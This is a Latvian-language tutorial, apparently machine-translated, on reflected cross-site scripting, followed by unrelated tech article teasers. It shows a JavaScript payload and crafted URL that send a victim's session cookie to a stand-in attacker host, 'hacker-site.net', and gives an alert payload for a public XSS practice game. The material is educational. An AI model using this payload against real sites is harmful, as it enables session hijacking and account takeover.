Web7: XSS izmantošana — 1. daļa: atspoguļotais XSS

Web7: XSS izmantošana — 1. daļa: atspoguļotais XSS

Kas ir starpvietņu skriptēšana?

Cross-Site Scripting (XSS) ir viens no mūsdienās populārākajiem uzbrukuma paņēmieniem, kas pazīstams kā uzbrukuma krusttēvs, un daudzus gadus ir iekļauts kā visbīstamākais lietojumprogrammu uzbrukuma paņēmiens.

Nesauciet to saīsināti par CSS, lai izvairītos no sajaukšanas ar HTML kaskādes stila lapas koncepciju. XSS
tehnikas

Lai labāk izprastu, aplūkosim šādu piemēru. Tīmekļa lietojumprogramma, kas ļauj drukāt vērtību, ko mēs nododam, izmantojot URL, pieņemot, ka nosaukuma mainīgajā nododam Ping vērtību:

Web7: XSS izmantošana — 1. daļa: atspoguļotais XSS

Pagaidām viss ir kārtībā, apskatīsim html avota kodu:

Web7: XSS izmantošana — 1. daļa: atspoguļotais XSS

Ir viegli redzēt, ka mūsu ievadītā nosaukuma vērtība ir ievietota avota kodā. Tātad iespējams, ka visu, ko importē, var arī ievietot. Problēma kļūst nopietna, ja ievadītā vērtība nav parasta virkne, kā norādīts iepriekš, bet gan potenciāli bīstama koda daļa, piemēram:

 

Mēģiniet vēlreiz ar iepriekš minēto vērtību:

Web7: XSS izmantošana — 1. daļa: atspoguļotais XSS

No šī piemēra mēs varam secināt divas lietas. Pirmkārt, nosaukuma mainīgais var saņemt jebkuru ievades vērtību un pārsūtīt to uz serveri apstrādei. Otrkārt, serveris nekontrolēja šo ievades vērtību pirms tās atgriešanas pārlūkprogrammā. Tas noved pie tā, ka avota kodā tiek ievietots JavaScript kods.

XSS parasti tiek iedalīts 3 galvenajos veidos: atspoguļots, saglabāts un balstīts uz DOM. Šajā rakstā galvenokārt pieminēšu Reflected XSS tehniku.

Līdz 75% XSS metožu ir balstītas uz Reflected XSS. To sauc par atspoguļotu, jo šāda veida izmantošanas scenārijā hakeram ir jānosūta upurim URL, kas satur ļaunprātīgu kodu (parasti javascript). Cietušajam tikai jāpieprasa šis URL, un hakeris nekavējoties saņems atbildi ar vēlamo rezultātu (šeit parādīta refleksija). Turklāt tas ir pazīstams arī kā pirmās kārtas XSS.

Reālās dzīves kalnrūpniecības scenārijs

Ir daudz veidu, kā izmantot Reflected XSS kļūdu, viens no pazīstamākajiem veidiem ir pārņemt lietotāja sesiju, tādējādi piekļūstot datiem un iegūstot savas tiesības vietnē.

Sīkāka informācija ir aprakstīta tālāk norādītajās darbībās.

Web7: XSS izmantošana — 1. daļa: atspoguļotais XSS

1. Lietotājs piesakās tīmeklī un pieņem, ka ir piešķirta sesija:

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. Kaut kādā veidā hakeris lietotājam nosūta URL:

http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;

Pieņemsim, ka example.com ir vietne, kuru apmeklē upuris, un hacker-site.net ir vietne, ko izveidojis hakeris.

3. Cietušais piekļūst iepriekš norādītajam URL

4. Serveris atbild upurim kopā ar pieprasījumā ietvertajiem datiem (hakera JavaScript fragments).

5. Upura pārlūkprogramma saņem atbildi un izpilda javascript

6. Faktiskais javascript, ko hakeris izveidoja, ir šāds:

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

Iepriekš minētā komandrinda būtībā veic pieprasījumu hakera vietnei, kuras parametrs ir lietotāja sīkfails:

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net

7. No jūsu vietnes hakeris uztvers iepriekš minētā pieprasījuma saturu un uzskatīs, ka lietotāja sesija ir pārņemta. Šajā brīdī hakeris var uzdoties par upuri un izmantot visas upura tiesības vietnē.

Prakse

Google ir izveidojis lapu, lai praktizētu XSS kļūdu izmantošanu šeit: https://xss-game.appspot.com

Šo izaicinājumu mērķis ir ievadīt skriptus, lai tiktu parādīts uznirstošais logs. Pirmais izaicinājums ir ilustrēt atspoguļoto tehniku, ekspluatācijas kods ir diezgan vienkāršs:

https://xss-game.appspot.com/level1/frame?query=alert('pwned')

Veiksmi!


Labojums Nevar atvērt šo vienumu kļūdu sistēmā Windows

Labojums Nevar atvērt šo vienumu kļūdu sistēmā Windows

Ja izmantojat sistēmu Windows, tiek parādīts kļūdas ziņojums Nevar atvērt šo vienumu. Iespējams, tas ir pārvietots, pārdēvēts vai izdzēsts. Kas man jādara? Lai iegūtu sīkāku informāciju, lūdzu, izpildiet tālāk sniegto rakstu.

Kas ir KRACK? Kā KRACK lauza WPA2 WiFi drošības protokolu

Kas ir KRACK? Kā KRACK lauza WPA2 WiFi drošības protokolu

Pētnieks Mathy Vanhoef no Lēvenas universitātes ir atklājis nopietnu drošības trūkumu Wi-Fi Protected Access II (WPA2) tīkla drošības protokolā.

Bieži uzdotie jautājumi par noklusējuma parolēm

Bieži uzdotie jautājumi par noklusējuma parolēm

Šodienas rakstā Quantrimang apkopos dažus bieži uzdotos jautājumus par noklusējuma parolēm, lai palīdzētu lasītājiem atbildēt uz jautājumiem, kas saistīti ar šo problēmu.

Kāpēc izmantot CyberGhost VPN?

Kāpēc izmantot CyberGhost VPN?

Jums ir nepieciešams VPN — tas padara dažādas iespējas vienkāršas, un CyberGhost VPN ir viens no labākajiem VPN, ja runa ir par vienkāršību.

3 populārākie multimākoņu drošības izaicinājumi un stratēģijas izveide

3 populārākie multimākoņu drošības izaicinājumi un stratēģijas izveide

Vairāki drošības paraugprakses piemēri ir parādījušies, palielinoties daudzmākoņu vidēm, un ir daži svarīgi soļi, kas būtu jāveic visām organizācijām, izstrādājot savas drošības stratēģijas.

Instalējiet dinamiskus ekrānus un animētas tapetes operētājsistēmā Windows

Instalējiet dinamiskus ekrānus un animētas tapetes operētājsistēmā Windows

Microsoft operētājsistēmā Windows Vista DreamScene ļāva iestatīt dinamisku fonu datoriem, taču astoņus gadus vēlāk tas joprojām nav pieejams operētājsistēmā Windows 10. Kāpēc šī paraža gadu gaitā ir bijusi atgriešanās pagātnē, un ko mēs varam darīt, lai to mainītu?

Kā savienot tīklu starp 2 klēpjdatoriem, izmantojot tīkla kabeli

Kā savienot tīklu starp 2 klēpjdatoriem, izmantojot tīkla kabeli

Ja vēlamies pieslēgt tīklam divus portatīvos datorus, varam izmantot tīkla kabeli un pēc tam nomainīt abu datoru IP adreses un viss.

Kā labot Jums nav atļaujas saglabāt šajā vietā operētājsistēmā Windows

Kā labot Jums nav atļaujas saglabāt šajā vietā operētājsistēmā Windows

Kad Windows parāda kļūdu “Jums nav atļaujas saglabāt šajā vietā”, tas neļaus jums saglabāt failus vajadzīgajās mapēs.

Labākā bezmaksas un maksas Syslog Server programmatūra operētājsistēmai Windows

Labākā bezmaksas un maksas Syslog Server programmatūra operētājsistēmai Windows

Syslog Server ir svarīga IT administratora arsenāla sastāvdaļa, it īpaši, ja runa ir par notikumu žurnālu pārvaldību centralizētā vietā.

Kas ir kļūda 524 A noildze un kā novērst kļūdu

Kas ir kļūda 524 A noildze un kā novērst kļūdu

Kļūda 524: iestājās taimauts ir Cloudflare specifisks HTTP statusa kods, kas norāda, ka savienojums ar serveri tika slēgts taimauta dēļ.